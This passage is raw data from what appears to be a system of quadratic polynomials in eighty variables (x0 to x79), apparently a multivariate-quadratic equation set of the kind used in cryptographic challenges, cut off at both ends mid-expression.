+ x68*x76 + x68*x78 + x68 + x69*x72 + x69*x74 + x69*x77 + x70*x71 + x70*x73 + x70*x74 + x70*x75 + x70*x77 + x70*x78 + x70*x79 + x71*x75 + x71*x78 + x71 + x72*x73 + x72*x74 + x72*x77 + x72*x79 + x72 + x73*x76 + x73*x77 + x73*x78 + x73 + x74*x78 + x75*x78 + x75 + x76*x77 + x76*x79 + x77*x78 + x77*x79 + x78*x79, x0*x6 + x0*x10 + x0*x11 + x0*x13 + x0*x14 + x0*x15 + x0*x17 + x0*x18 + x0*x19 + x0*x20 + x0*x22 + x0*x23 + x0*x26 + x0*x27 + x0*x28 + x0*x30 + x0*x31 + x0*x32 + x0*x33 + x0*x34 + x0*x35 + x0*x36 + x0*x37 + x0*x38 + x0*x42 + x0*x45 + x0*x51 + x0*x52 + x0*x53 + x0*x59 + x0*x60 + x0*x61 + x0*x62 + x0*x64 + x0*x65 + x0*x66 + x0*x67 + x0*x68 + x0*x69 + x0*x70 + x0*x71 + x0*x72 + x0*x74 + x0*x75 + x0*x76 + x0 + x1*x6 + x1*x8 + x1*x9 + x1*x10 + x1*x13 + x1*x14 + x1*x15 + x1*x16 + x1*x17 + x1*x20 + x1*x21 + x1*x22 + x1*x23 + x1*x24 + x1*x27 + x1*x28 + x1*x29 + x1*x30 + x1*x31 + x1*x32 + x1*x33 + x1*x34 + x1*x37 + x1*x38 + x1*x39 + x1*x40 + x1*x41 + x1*x43 + x1*x45 + x1*x47 + x1*x50 + x1*x51 + x1*x52 + x1*x54 + x1*x56 + x1*x58 + x1*x59 + x1*x60 + x1*x62 + x1*x63 + x1*x64 + x1*x65 + x1*x68 + x1*x69 + x1*x70 + x1*x73 + x1*x74 + x1*x75 + x1*x76 + x1*x78 + x1*x79 + x2*x4 + x2*x5 + x2*x7 + x2*x10 + x2*x11 + x2*x19 + x2*x20 + x2*x21 + x2*x23 + x2*x24 + x2*x26 + x2*x28 + x2*x30 + x2*x31 + x2*x32 + x2*x33 + x2*x36 + x2*x38 + x2*x41 + x2*x43 + x2*x44 + x2*x45 + x2*x48 + x2*x49 + x2*x52 + x2*x53 + x2*x54 + x2*x56 + x2*x57 + x2*x58 + x2*x60 + x2*x61 + x2*x63 + x2*x64 + x2*x66 + x2*x68 + x2*x70 + x2*x72 + x2*x73 + x2*x74 + x2*x75 + x3*x8 + x3*x11 + x3*x16 + x3*x19 + x3*x22 + x3*x23 + x3*x25 + x3*x26 + x3*x27 + x3*x31 + x3*x32 + x3*x33 + x3*x34 + x3*x37 + x3*x38 + x3*x39 + x3*x40 + x3*x43 + x3*x44 + x3*x45 + x3*x47 + x3*x48 + x3*x51 + x3*x52 + x3*x53 + x3*x55 + x3*x56 + x3*x57 + x3*x58 + x3*x61 + x3*x63 + x3*x66 + x3*x79 + x4*x5 + x4*x7 + x4*x8 + x4*x10 + x4*x13 + x4*x14 + x4*x16 + x4*x17 + x4*x21 + x4*x23 + x4*x24 + x4*x25 + x4*x26 + x4*x27 + x4*x29 + x4*x31 + x4*x36 + x4*x37 + x4*x39 + x4*x40 + x4*x42 + x4*x43 + x4*x45 + x4*x46 + x4*x50 + x4*x55 + x4*x57 + x4*x61 + x4*x63 + x4*x64 + x4*x65 + x4*x70 + x4*x71 + x4*x73 + x4*x74 + x4*x75 + x4*x78 + x4*x79 + x5*x6 + x5*x10 + x5*x11 + x5*x12 + x5*x14 + x5*x15 + x5*x20 + x5*x21 + x5*x22 + x5*x23 + x5*x25 + x5*x26 + x5*x27 + x5*x28 + x5*x30 + x5*x31 + x5*x32 + x5*x33 + x5*x34 + x5*x36 + x5*x37 + x5*x40 + x5*x45 + x5*x46 + x5*x47 + x5*x51 + x5*x52 + x5*x53 + x5*x55 + x5*x56 + x5*x57 + x5*x63 + x5*x64 + x5*x67 + x5*x68 + x5*x69 + x5*x71 + x5*x72 + x5*x73 + x5*x76 + x5*x78 + x6*x7 + x6*x10 + x6*x15 + x6*x16 + x6*x17 + x6*x20 + x6*x22 + x6*x25 + x6*x26 + x6*x28 + x6*x30 + x6*x31 + x6*x32 + x6*x33 + x6*x34 + x6*x36 + x6*x37 + x6*x38 + x6*x39 + x6*x40 + x6*x41 + x6*x42 + x6*x43 + x6*x45 + x6*x46 + x6*x47 + x6*x48 + x6*x49 + x6*x52 + x6*x54 + x6*x55 + x6*x56 + x6*x58 + x6*x59 + x6*x61 + x6*x64 + x6*x66 + x6*x69 + x6*x70 + x6*x73 + x6*x74 + x6*x76 + x6*x77 + x6*x79 + x6 + x7*x8 + x7*x9 + x7*x10 + x7*x12 + x7*x15 + x7*x17 + x7*x19 + x7*x21 + x7*x22 + x7*x24 + x7*x26 + x7*x27 + x7*x31 + x7*x33 + x7*x35 + x7*x36 + x7*x37 + x7*x39 + x7*x43 + x7*x45 + x7*x47 + x7*x49 + x7*x51 + x7*x52 + x7*x55 + x7*x57 + x7*x58 + x7*x60 + x7*x61 + x7*x62 + x7*x66 + x7*x67 + x7*x70 + x7*x71 + x7*x74 + x7*x76 + x7 + x8*x9 + x8*x10 + x8*x11 + x8*x15 + x8*x16 + x8*x17 + x8*x18 + x8*x19 + x8*x20 + x8*x21 + x8*x22 + x8*x23 + x8*x24 + x8*x25 + x8*x27 + x8*x28 + x8*x29 + x8*x33 + x8*x34 + x8*x37 + x8*x40 + x8*x44 + x8*x45 + x8*x47 + x8*x48 + x8*x49 + x8*x52 + x8*x53 + x8*x55 + x8*x56 + x8*x61 + x8*x62 + x8*x63 + x8*x64 + x8*x65 + x8*x67 + x8*x70 + x8*x72 + x8*x75 + x8*x78 + x8*x79 + x8 + x9*x10 + x9*x12 + x9*x13 + x9*x15 + x9*x17 + x9*x21 + x9*x22 + x9*x23 + x9*x24 + x9*x26 + x9*x27 + x9*x28 + x9*x29 + x9*x30 + x9*x33 + x9*x36 + x9*x37 + x9*x38 + x9*x39 + x9*x40 + x9*x41 + x9*x44 + x9*x47 + x9*x48 + x9*x49 + x9*x50 + x9*x51 + x9*x56 + x9*x57 + x9*x59 + x9*x60 + x9*x61 + x9*x63 + x9*x65 + x9*x67 + x9*x69 + x9*x70 + x9*x72 + x9*x74 + x9*x75 + x9*x76 + x9*x77 + x9 + x10*x13 + x10*x17 + x10*x18 + x10*x20 + x10*x21 + x10*x22 + x10*x24 + x10*x26 + x10*x29 + x10*x32 + x10*x35 + x10*x38 + x10*x41 + x10*x43 + x10*x44 + x10*x45 + x10*x48 + x10*x50 + x10*x52 + x10*x56 + x10*x57 + x10*x60 + x10*x62 + x10*x63 + x10*x64 + x10*x66 + x10*x67 + x10*x70 + x10*x71 + x10*x72 + x10*x73 + x10*x75 + x10*x76 + x10*x79 + x10 + x11*x12 + x11*x14 + x11*x16 + x11*x18 + x11*x20 + x11*x24 + x11*x27 + x11*x29 + x11*x32 + x11*x33 + x11*x36 + x11*x37 + x11*x39 + x11*x42 + x11*x43 + x11*x44 + x11*x45 + x11*x46 + x11*x53 + x11*x55 + x11*x57 + x11*x58 + x11*x60 + x11*x61 + x11*x62 + x11*x63 + x11*x64 + x11*x66 + x11*x68 + x11*x69 + x11*x70 + x11*x71 + x11*x73 + x11*x74 + x11*x75 + x11*x78 + x12*x17 + x12*x18 + x12*x19 + x12*x20 + x12*x23 + x12*x24 + x12*x25 + x12*x29 + x12*x35 + x12*x41 + x12*x42 + x12*x44 + x12*x47 + x12*x48 + x12*x49 + x12*x51 + x12*x52 + x12*x54 + x12*x55 + x12*x58 + x12*x59 + x12*x61 + x12*x64 + x12*x66 + x12*x67 + x12*x71 + x12*x75 + x12*x77 + x12*x78 + x13*x15 + x13*x16 + x13*x20 + x13*x21 + x13*x22 + x13*x23 + x13*x24 + x13*x28 + x13*x29 + x13*x31 + x13*x32 + x13*x33 + x13*x38 + x13*x42 + x13*x43 + x13*x45 + x13*x46 + x13*x48 + x13*x50 + x13*x51 + x13*x54 + x13*x55 + x13*x56 + x13*x57 + x13*x58 + x13*x59 + x13*x60 + x13*x63 + x13*x65 + x13*x66 + x13*x67 + x13*x68 + x13*x71 + x13*x75 + x13*x76 + x14*x15 + x14*x16 + x14*x19 + x14*x22 + x14*x26 + x14*x27 + x14*x29 + x14*x32 + x14*x36 + x14*x37 + x14*x38 + x14*x39 + x14*x43 + x14*x44 + x14*x47 + x14*x48 + x14*x52 + x14*x53 + x14*x57 + x14*x59 + x14*x63 + x14*x65 + x14*x66 + x14*x68 + x14*x69 + x14*x70 + x14*x71 + x14*x73 + x14*x75 + x14*x77 + x14*x78 + x14*x79 + x14 + x15*x17 + x15*x18 + x15*x22 + x15*x25 + x15*x29 + x15*x31 + x15*x35 + x15*x37 + x15*x38 + x15*x41 + x15*x43 + x15*x45 + x15*x47 + x15*x51 + x15*x52 + x15*x53 + x15*x56 + x15*x58 + x15*x59 + x15*x61 + x15*x63 + x15*x66 + x15*x68 + x15*x70 + x15*x74 + x15*x75 + x15*x76 + x15*x77 + x15*x78 + x16*x17 + x16*x18 + x16*x20 + x16*x21 + x16*x23 + x16*x26 + x16*x27 + x16*x28 + x16*x31 + x16*x35 + x16*x37 + x16*x39 + x16*x41 + x16*x43 + x16*x45 + x16*x46 + x16*x53 + x16*x54 + x16*x55 + x16*x58 + x16*x59 + x16*x60 + x16*x61 + x16*x62 + x16*x63 + x16*x64 + x16*x68 + x16*x70 + x16*x73 + x16*x74 + x16*x75 + x16*x77 + x16 + x17*x20 + x17*x21 + x17*x24 + x17*x26 + x17*x27 + x17*x31 + x17*x32 + x17*x33 + x17*x39 + x17*x40 + x17*x41 + x17*x43 + x17*x44 + x17*x46 + x17*x48 + x17*x51 + x17*x53 + x17*x54 + x17*x56 + x17*x58 + x17*x62 + x17*x64 + x17*x65 + x17*x68 + x17*x70 + x17*x72 + x17*x77 + x18*x19 + x18*x22 + x18*x27 + x18*x28 + x18*x30 + x18*x32 + x18*x35 + x18*x43 + x18*x45 + x18*x46 + x18*x47 + x18*x48 + x18*x49 + x18*x50 + x18*x51 + x18*x52 + x18*x56 + x18*x57 + x18*x58 + x18*x59 + x18*x60 + x18*x61 + x18*x62 + x18*x65 + x18*x66 + x18*x67 + x18*x68 + x18*x69 + x18*x70 + x18*x73 + x18*x74 + x18*x76 + x18*x77 + x18*x78 + x18 + x19*x20 + x19*x23 + x19*x24 + x19*x26 + x19*x29 + x19*x30 + x19*x35 + x19*x36 + x19*x40 + x19*x41 + x19*x42 + x19*x43 + x19*x49 + x19*x51 + x19*x52 + x19*x53 + x19*x54 + x19*x55 + x19*x56 + x19*x59 + x19*x60 + x19*x63 + x19*x64 + x19*x65 + x19*x68 + x19*x69 + x19*x70 + x19*x72 + x19*x73 + x19*x75 + x19*x76 + x19*x77 + x19*x79 + x20*x22 + x20*x23 + x20*x25 + x20*x26 + x20*x27 + x20*x29 + x20*x32 + x20*x35 + x20*x37 + x20*x38 + x20*x40 + x20*x44 + x20*x50 + x20*x55 + x20*x57 + x20*x58 + x20*x59 + x20*x60 + x20*x68 + x20*x69 + x20*x70 + x20*x71 + x20*x72 + x20*x78 + x20 + x21*x25 + x21*x26 + x21*x28 + x21*x30 + x21*x32 + x21*x35 + x21*x37 + x21*x46 + x21*x48 + x21*x52 + x21*x55 + x21*x56 + x21*x58 + x21*x59 + x21*x61 + x21*x62 + x21*x63 + x21*x64 + x21*x65 + x21*x66 + x21*x71 + x21*x72 + x21*x73 + x21*x74 + x21*x76 + x21*x77 + x21 + x22*x25 + x22*x26 + x22*x33 + x22*x35 + x22*x36 + x22*x37 + x22*x41 + x22*x42 + x22*x43 + x22*x44 + x22*x49 + x22*x52 + x22*x53 + x22*x55 + x22*x56 + x22*x59 + x22*x60 + x22*x61 + x22*x62 + x22*x63 + x22*x64 + x22*x67 + x22*x72 + x22*x75 + x22*x76 + x22*x78 + x22*x79 + x22 + x23*x24 + x23*x30 + x23*x31 + x23*x33 + x23*x34 + x23*x37 + x23*x38 + x23*x39 + x23*x41 + x23*x43 + x23*x45 + x23*x46 + x23*x47 + x23*x49 + x23*x50 + x23*x51 + x23*x54 + x23*x56 + x23*x58 + x23*x60 + x23*x62 + x23*x66 + x23*x67 + x23*x68 + x23*x69 + x23*x71 + x23*x72 + x23*x73 + x23*x74 + x23*x77 + x23*x78 + x24*x26 + x24*x27 + x24*x30 + x24*x31 + x24*x32 + x24*x36 + x24*x39 + x24*x40 + x24*x41 + x24*x43 + x24*x44 + x24*x45 + x24*x46 + x24*x50 + x24*x51 + x24*x53 + x24*x54 + x24*x55 + x24*x57 + x24*x59 + x24*x60 + x24*x61 + x24*x62 + x24*x66 + x24*x68 + x24*x69 + x24*x72 + x24*x74 + x24*x75 + x24*x77 + x24*x79 + x24 + x25*x28 + x25*x29 + x25*x31 + x25*x33 + x25*x36 + x25*x38 + x25*x39 + x25*x40 + x25*x42 + x25*x44 + x25*x46 + x25*x49 + x25*x51 + x25*x53 + x25*x54 + x25*x55 + x25*x56 + x25*x57 + x25*x58 + x25*x59 + x25*x60 + x25*x61 + x25*x62 + x25*x63 + x25*x64 + x25*x66 + x25*x67 + x25*x68 + x25*x69 + x25*x70 + x25*x73 + x25*x74 + x25*x75 + x25*x78 + x25*x79 + x25 + x26*x28 + x26*x29 + x26*x30 + x26*x33 + x26*x34 + x26*x36 + x26*x37 + x26*x38 + x26*x39 + x26*x42 + x26*x43 + x26*x46 + x26*x47 + x26*x48 + x26*x52 + x26*x53 + x26*x54 + x26*x57 + x26*x58 + x26*x60 + x26*x61 + x26*x62 + x26*x63 + x26*x66 + x26*x68 + x26*x69 + x26*x70 + x26*x71 + x26*x73 + x26*x75 + x26*x76 + x26*x79 + x26 + x27*x28 + x27*x29 + x27*x32 + x27*x35 + x27*x38 + x27*x41 + x27*x45 + x27*x50 + x27*x51 + x27*x55 + x27*x56 + x27*x57 + x27*x68 + x27*x69 + x27*x72 + x27*x73 + x27*x75 + x27*x77 + x27 + x28*x29 + x28*x30 + x28*x32 + x28*x35 + x28*x36 + x28*x38 + x28*x43 + x28*x44 + x28*x47 + x28*x50 + x28*x51 + x28*x52 + x28*x58 + x28*x61 + x28*x63 + x28*x64 + x28*x66 + x28*x68 + x28*x69 + x28*x70 + x28*x74 + x28*x75 + x28*x77 + x28*x79 + x28 + x29*x30 + x29*x31 + x29*x33 + x29*x36 + x29*x39 + x29*x40 + x29*x42 + x29*x44 + x29*x45 + x29*x50 + x29*x51 + x29*x52 + x29*x54 + x29*x55 + x29*x59 + x29*x60 + x29*x64 + x29*x65 + x29*x66 + x29*x68 + x29*x69 + x29*x71 + x29*x76 + x29*x78 + x30*x32 + x30*x33 + x30*x35 + x30*x40 + x30*x41 + x30*x44 + x30*x45 + x30*x48 + x30*x49 + x30*x50 + x30*x51 + x30*x52 + x30*x57 + x30*x59 + x30*x62 + x30*x64 + x30*x67 + x30*x68 + x30*x70 + x30*x71 + x30*x72 + x30*x74 + x30*x75 + x31*x32 + x31*x34 + x31*x36 + x31*x41 + x31*x42 + x31*x43 + x31*x45 + x31*x47 + x31*x48 + x31*x49 + x31*x50 + x31*x51 + x31*x56 + x31*x57 + x31*x60 + x31*x62 + x31*x63 + x31*x64 + x31*x66 + x31*x67 + x31*x70 + x31*x71 + x31*x73 + x31*x74 + x31*x76 + x31 + x32*x33 + x32*x35 + x32*x37 + x32*x40 + x32*x41 + x32*x47 + x32*x48 + x32*x49 + x32*x50 + x32*x51 + x32*x57 + x32*x58 + x32*x59 + x32*x60 + x32*x61 + x32*x67 + x32*x68 + x32*x73 + x32*x76 + x32*x77 + x32*x78 + x32*x79 + x33*x35 + x33*x37 + x33*x39 + x33*x41 + x33*x43 + x33*x45 + x33*x47 + x33*x48 + x33*x49 + x33*x50 + x33*x51 + x33*x54 + x33*x55 + x33*x56 + x33*x58 + x33*x59 + x33*x60 + x33*x61 + x33*x63 + x33*x66 + x33*x67 + x33*x68 + x33*x69 + x33*x75 + x33*x76 + x33*x77 + x33*x78 + x33 + x34*x35 + x34*x37 + x34*x39 + x34*x41 + x34*x42 + x34*x43 + x34*x45 + x34*x47 + x34*x48 + x34*x49 + x34*x50 + x34*x51 + x34*x52 + x34*x57 + x34*x58 + x34*x60 + x34*x61 + x34*x64 + x34*x68 + x34*x71 + x34*x77 + x34*x78 + x35*x36 + x35*x37 + x35*x39 + x35*x40 + x35*x41 + x35*x42 + x35*x43 + x35*x44 + x35*x50 + x35*x51 + x35*x52 + x35*x61 + x35*x62 + x35*x63 + x35*x66 + x35*x68 + x35*x71 + x35*x72 + x35*x75 + x35*x76 + x35*x77 + x36*x37 + x36*x38 + x36*x40 + x36*x41 + x36*x43 + x36*x44 + x36*x46 + x36*x47 + x36*x53 + x36*x54 + x36*x55 + x36*x56 + x36*x57 + x36*x58 + x36*x59 + x36*x60 + x36*x61 + x36*x62 + x36*x63 + x36*x66 + x36*x71 + x36*x72 + x36*x74 + x36*x77 + x36*x79 + x37*x39 + x37*x40 + x37*x41 + x37*x42 + x37*x43 + x37*x48 + x37*x49 + x37*x50 + x37*x51 + x37*x52 + x37*x53 + x37*x54 + x37*x56 + x37*x57 + x37*x62 + x37*x65 + x37*x66 + x37*x68 + x37*x69 + x37*x71 + x37*x72 + x37*x73 + x37*x74 + x37*x76 + x37*x77 + x37 + x38*x39 + x38*x40 + x38*x42 + x38*x43 + x38*x44 + x38*x48 + x38*x49 + x38*x50 + x38*x51 + x38*x54 + x38*x55 + x38*x56 + x38*x59 + x38*x60 + x38*x62 + x38*x63 + x38*x64 + x38*x67 + x38*x68 + x38*x71 + x38*x73 + x38*x77 + x38*x79 + x39*x40 + x39*x41 + x39*x43 + x39*x44 + x39*x45 + x39*x46 + x39*x47 + x39*x48 + x39*x49 + x39*x50 + x39*x54 + x39*x55 + x39*x57 + x39*x58 + x39*x60 + x39*x61 + x39*x62 + x39*x63 + x39*x66 + x39*x70 + x39*x71 + x39*x72 + x39*x73 + x39*x75 + x39*x76 + x39*x77 + x39*x79 + x40*x42 + x40*x46 + x40*x49 + x40*x50 + x40*x51 + x40*x55 + x40*x58 + x40*x59 + x40*x61 + x40*x62 + x40*x63 + x40*x65 + x40*x66 + x40*x70 + x40*x71 + x40*x74 + x40*x76 + x40 + x41*x42 + x41*x43 + x41*x44 + x41*x45 + x41*x46 + x41*x47 + x41*x48 + x41*x49 + x41*x55 + x41*x57 + x41*x60 + x41*x66 + x41*x67 + x41*x69 + x41*x70 + x41*x72 + x41*x73 + x41*x79 + x42*x44 + x42*x45 + x42*x53 + x42*x54 + x42*x56 + x42*x58 + x42*x59 + x42*x63 + x42*x66 + x42*x70 + x42*x72 + x42*x74 + x42*x75 + x42*x76 + x42*x78 + x42 + x43*x44 + x43*x49 + x43*x50 + x43*x51 + x43*x56 + x43*x57 + x43*x60 + x43*x62 + x43*x63 + x43*x64 + x43*x67 + x43*x68 + x43*x70 + x43*x72 + x43*x75 + x43*x76 + x43*x77 + x43*x78 + x43*x79 + x43 + x44*x45 + x44*x46 + x44*x47 + x44*x49 + x44*x52 + x44*x55 + x44*x56 + x44*x57 + x44*x61 + x44*x62 + x44*x66 + x44*x67 + x44*x69 + x44*x71 + x44*x72 + x44*x73 + x44*x74 + x44*x75 + x44*x76 + x44*x79 + x45*x46 + x45*x48 + x45*x50 + x45*x51 + x45*x54 + x45*x55 + x45*x57 + x45*x59 + x45*x61 + x45*x63 + x45*x70 + x45*x74 + x45*x75 + x45*x77 + x45*x79 + x45 + x46*x47 + x46*x48 + x46*x52 + x46*x54 + x46*x55 + x46*x56 + x46*x61 + x46*x65 + x46*x68 + x46*x69 + x46*x70 + x46*x76 + x46*x77 + x46*x78 + x46*x79 + x46 + x47*x48 + x47*x53 + x47*x54 + x47*x55 + x47*x56 + x47*x58 + x47*x59 + x47*x60 + x47*x64 + x47*x65 + x47*x67 + x47*x69 + x47*x70 + x47*x71 + x47*x72 + x47*x75 + x47*x77 + x47*x79 + x48*x49 + x48*x50 + x48*x54 + x48*x56 + x48*x57 + x48*x62 + x48*x63 + x48*x64 + x48*x66 + x48*x68 + x48*x70 + x48*x72 + x48*x77 + x49*x51 + x49*x53 + x49*x54 + x49*x55 + x49*x60 + x49*x63 + x49*x64 + x49*x66 + x49*x67 + x49*x70 + x49*x79 + x50*x52 + x50*x55 + x50*x58 + x50*x59 + x50*x60 + x50*x65 + x50*x69 + x50*x71 + x50*x72 + x50*x75 + x50*x76 + x50*x78 + x50*x79 + x50 + x51*x52 + x51*x54 + x51*x57 + x51*x59 + x51*x60 + x51*x62 + x51*x63 + x51*x65 + x51*x68 + x51*x71 + x51*x74 + x51*x76 + x51*x78 + x51 + x52*x54 + x52*x55 + x52*x56 + x52*x57 + x52*x58 + x52*x59 + x52*x61 + x52*x62 + x52*x63 + x52*x68 + x52*x71 + x52*x76 + x52*x78 + x53*x55 + x53*x63 + x53*x64 + x53*x65 + x53*x68 + x53*x69 + x53*x71 + x53*x74 + x53*x76 + x53*x77 + x54*x59 + x54*x61 + x54*x62 + x54*x63 + x54*x65 + x54*x66 + x54*x68 + x54*x69 + x54*x70 + x54*x71 + x54*x72 + x54*x77 + x54*x78 + x54*x79 + x55*x56 + x55*x60 + x55*x61 + x55*x64 + x55*x65 + x55*x66 + x55*x67 + x55*x71 + x55*x72 + x55*x73 + x55*x74 + x55*x75 + x56*x58 + x56*x59 + x56*x60 + x56*x62 + x56*x63 + x56*x64 + x56*x66 + x56*x67 + x56*x68 + x56*x69 + x56*x72 + x56*x73 + x56*x79 + x57*x58 + x57*x60 + x57*x62 + x57*x63 + x57*x65 + x57*x66 + x57*x69 + x57*x71 + x57*x72 + x57*x74 + x57*x77 + x57*x79 + x58*x59 + x58*x64 + x58*x66 + x58*x67 + x58*x68 + x58*x72 + x58*x73 + x58*x76 + x58*x77 + x58*x78 + x58*x79 + x58 + x59*x61 + x59*x62 + x59*x63 + x59*x66 + x59*x68 + x59*x71 + x59*x72 + x59*x73 + x59*x75 + x59*x77 + x59*x78 + x59 + x60*x64 + x60*x66 + x60*x69 + x60*x70 + x60*x73 + x60*x74 + x60*x77 + x60 + x61*x62 + x61*x63 + x61*x64 + x61*x65 + x61*x66 + x61*x68 + x61*x70 + x61*x72 + x61*x73 + x61*x74 + x61*x76 + x61*x77 + x62*x64 + x62*x65 + x62*x67 + x62*x69 + x62*x70 + x62*x71 + x62*x75 + x62*x76 + x62*x79 + x63*x64 + x63*x66 + x63*x67 + x63*x68 + x63*x70 + x63*x71 + x63*x72 + x63*x73 + x63*x74 + x63*x76 + x63*x77 + x63*x78 + x63*x79 + x63 + x64*x65 + x64*x69 + x64*x70 + x64*x71 + x64*x77 + x65*x69 + x65*x70 + x65*x71 + x65*x72 + x65*x74 + x65*x75 + x65*x76 + x65*x77 + x66*x68 + x66*x69 + x66*x70 + x66*x74 + x66*x76 + x66*x77 + x66*x78 + x67*x68 + x67*x69 + x67*x72 + x67*x73 + x67*x74 + x67*x77 + x67*x78 + x68*x69 + x68*x73 + x68*x74 + x68*x76 + x68*x79 + x68 + x69*x74 + x69*x75 + x69*x77 + x70*x71 + x70*x72 + x70*x75 + x70*x77 + x70*x78 + x70*x79 + x70 + x71*x73 + x71*x75 + x71*x79 + x71 + x72*x75 + x72*x77 + x73*x74 + x73*x75 + x73*x78 + x73 + x74*x76 + x74*x77 + x74*x78 + x74*x79 + x74 + x75*x77 + x76*x77 + x76*x78 + x76*x79 + x77*x78 + x78*x79 + x78 + x79, x0*x3 + x0*x4 + x0*x5 + x0*x7 + x0*x8 + x0*x10 + x0*x11 + x0*x12 + x0*x13 + x0*x15 + x0*x18 + x0*x19 + x0*x20 + x0*x22 + x0*x23 + x0*x29 + x0*x37 + x0*x42 + x0*x43 + x0*x47 + x0*x48 + x0*x50 + x0*x56 + x0*x57 + x0*x58 + x0*x59 + x0*x60 + x0*x61 + x0*x63 + x0*x64 + x0*x72 + x0*x76 + x0*x77 + x0*x79 + x1*x2 + x1*x3 + x1*x6 + x1*x7 + x1*x9 + x1*x12 + x1*x14 + x1*x15 + x1*x18 + x1*x20 + x1*x21 + x1*x23 + x1*x24 + x1*x25 + x1*x28 + x1*x29 + x1*x30 + x1*x32 + x1*x33 + x1*x34 + x1*x36 + x1*x39 + x1*x40 + x1*x43 + x1*x46 + x1*x50 + x1*x52 + x1*x54 + x1*x55 + x1*x59 + x1*x63 + x1*x64 + x1*x65 + x1*x66 + x1*x67 + x1*x69 + x1*x70 + x1*x73 + x1*x74 + x1*x77 + x1*x78 + x1*x79 + x1 + x2*x6 + x2*x8 + x2*x10 + x2*x12 + x2*x16 + x2*x17 + x2*x21 + x2*x22 + x2*x23 + x2*x24 + x2*x26 + x2*x27 + x2*x32 + x2*x35 + x2*x37 + x2*x38 + x2*x39 + x2*x41 + x2*x44 + x2*x46 + x2*x47 + x2*x48 + x2*x49 + x2*x55 + x2*x56 + x2*x58 + x2*x59 + x2*x61 + x2*x62 + x2*x64 + x2*x65 + x2*x66 + x2*x69 + x2*x70 + x2*x72 + x2*x74 + x2*x76 + x2*x77 + x2*x78 + x2*x79 + x3*x4 + x3*x7 + x3*x8 + x3*x9 + x3*x11 + x3*x15 + x3*x16 + x3*x18 + x3*x21 + x3*x25 + x3*x26 + x3*x27 + x3*x28 + x3*x29 + x3*x32 + x3*x34 + x3*x36 + x3*x37 + x3*x40 + x3*x50 + x3*x51 + x3*x52 + x3*x53 + x3*x56 + x3*x58 + x3*x61 + x3*x65 + x3*x66 + x3*x68 + x3*x69 + x3*x70 + x3*x73 + x3*x75 + x3*x76 + x3 + x4*x7 + x4*x8 + x4*x9 + x4*x12 + x4*x13 + x4*x15 + x4*x19 + x4*x23 + x4*x24 + x4*x29 + x4*x31 + x4*x32 + x4*x33 + x4*x34 + x4*x35 + x4*x36 + x4*x39 + x4*x41 + x4*x47 + x4*x51 + x4*x52 + x4*x54 + x4*x55 + x4*x56 + x4*x57 + x4*x58 + x4*x59 + x4*x60 + x4*x62 + x4*x63 + x4*x64 + x4*x66 + x4*x68 + x4*x69 + x4*x70 + x4*x71 + x4*x72 + x4*x73 + x4*x74 + x4*x76 + x4*x78 + x4*x79 + x4 + x5*x6 + x5*x7 + x5*x9 + x5*x12 + x5*x15 + x5*x17 + x5*x18 + x5*x19 + x5*x20 + x5*x22 + x5*x24 + x5*x25 + x5*x26 + x5*x27 + x5*x28 + x5*x32 + x5*x35 + x5*x39 + x5*x42 + x5*x43 + x5*x44 + x5*x47 + x5*x53 + x5*x54 + x5*x56 + x5*x58 + x5*x59 + x5*x61 + x5*x64 + x5*x65 + x5*x66 + x5*x67 + x5*x68 + x5*x73 + x5*x76 + x5*x79 + x5 + x6*x7 + x6*x8 + x6*x9 + x6*x11 + x6*x12 + x6*x14 + x6*x16 + x6*x19 + x6*x20 + x6*x21 + x6*x22 + x6*x24 + x6*x25 + x6*x27 + x6*x29 + x6*x31 + x6*x32 + x6*x38 + x6*x39 + x6*x40 + x6*x41 + x6*x43 + x6*x46 + x6*x47 + x6*x49 + x6*x50 + x6*x51 + x6*x53 + x6*x56 + x6*x57 + x6*x60 + x6*x62 + x6*x63 + x6*x64 + x6*x65 + x6*x67 + x6*x68 + x6*x69 + x6*x74 + x6*x75 + x6*x76 + x6*x77 + x7*x9 + x7*x11 + x7*x12 + x7*x14 + x7*x15 + x7*x21 + x7*x22 + x7*x25 + x7*x28 + x7*x29 + x7*x30 + x7*x32 + x7*x37 + x7*x38 + x7*x41 + x7*x44 + x7*x47 + x7*x48 + x7*x50 + x7*x52 + x7*x57 + x7*x58 + x7*x59 + x7*x61 + x7*x62 + x7*x63 + x7*x64 + x7*x66 + x7*x68 + x7*x70 + x7*x72 + x7*x73 + x7*x76 + x7*x79 + x7 + x8*x9 + x8*x13 + x8*x14 + x8*x17 + x8*x19 + x8*x20 + x8*x21 + x8*x23 + x8*x25 + x8*x27 + x8*x29 + x8*x32 + x8*x33 + x8*x35 + x8*x36 + x8*x38 + x8*x41 + x8*x43 + x8*x47 + x8*x50 + x8*x53 + x8*x54 + x8*x55 + x8*x57 + x8*x59 + x8*x60 + x8*x63 + x8*x64 + x8*x66 + x8*x68 + x8*x69 + x8*x71 + x8*x73 + x8*x75 + x8*x77 + x8 + x9*x10 + x9*x11 + x9*x12 + x9*x18 + x9*x19 + x9*x20 + x9*x22 + x9*x26 + x9*x28 + x9*x29 + x9*x30 + x9*x31 + x9*x33 + x9*x34 + x9*x37 + x9*x45 + x9*x46 + x9*x47 + x9*x48 + x9*x53 + x9*x55 + x9*x56 + x9*x63 + x9*x66 + x9*x70 + x9*x72 + x9*x73 + x9*x77 + x9*x79 + x10*x11 + x10*x12 + x10*x15 + x10*x16 + x10*x17 + x10*x20 + x10*x21 + x10*x27 + x10*x28 + x10*x34 + x10*x37 + x10*x38 + x10*x40 + x10*x43 + x10*x44 + x10*x45 + x10*x46 + x10*x47 + x10*x51 + x10*x52 + x10*x53 + x10*x54 + x10*x55 + x10*x58 + x10*x59 + x10*x60 + x10*x63 + x10*x64 + x10*x67 + x10*x72 + x10*x73 + x10*x74 + x10*x76 + x10*x78 + x10 + x11*x13 + x11*x15 + x11*x16 + x11*x17 + x11*x18 + x11*x20 + x11*x21 + x11*x22 + x11*x23 + x11*x24 + x11*x25 + x11*x26 + x11*x29 + x11*x30 + x11*x31 + x11*x34 + x11*x35 + x11*x37 + x11*x38 + x11*x40 + x11*x41 + x11*x43 + x11*x45 + x11*x46 + x11*x49 + x11*x50 + x11*x52 + x11*x55 + x11*x58 + x11*x59 + x11*x62 + x11*x64 + x11*x65 + x11*x67 + x11*x69 + x11*x71 + x11*x72 + x11*x75 + x11*x79 + x12*x13 + x12*x15 + x12*x22 + x12*x25 + x12*x27 + x12*x28 + x12*x33 + x12*x34 + x12*x36 + x12*x37 + x12*x43 + x12*x45 + x12*x47 + x12*x48 + x12*x50 + x12*x56 + x12*x57 + 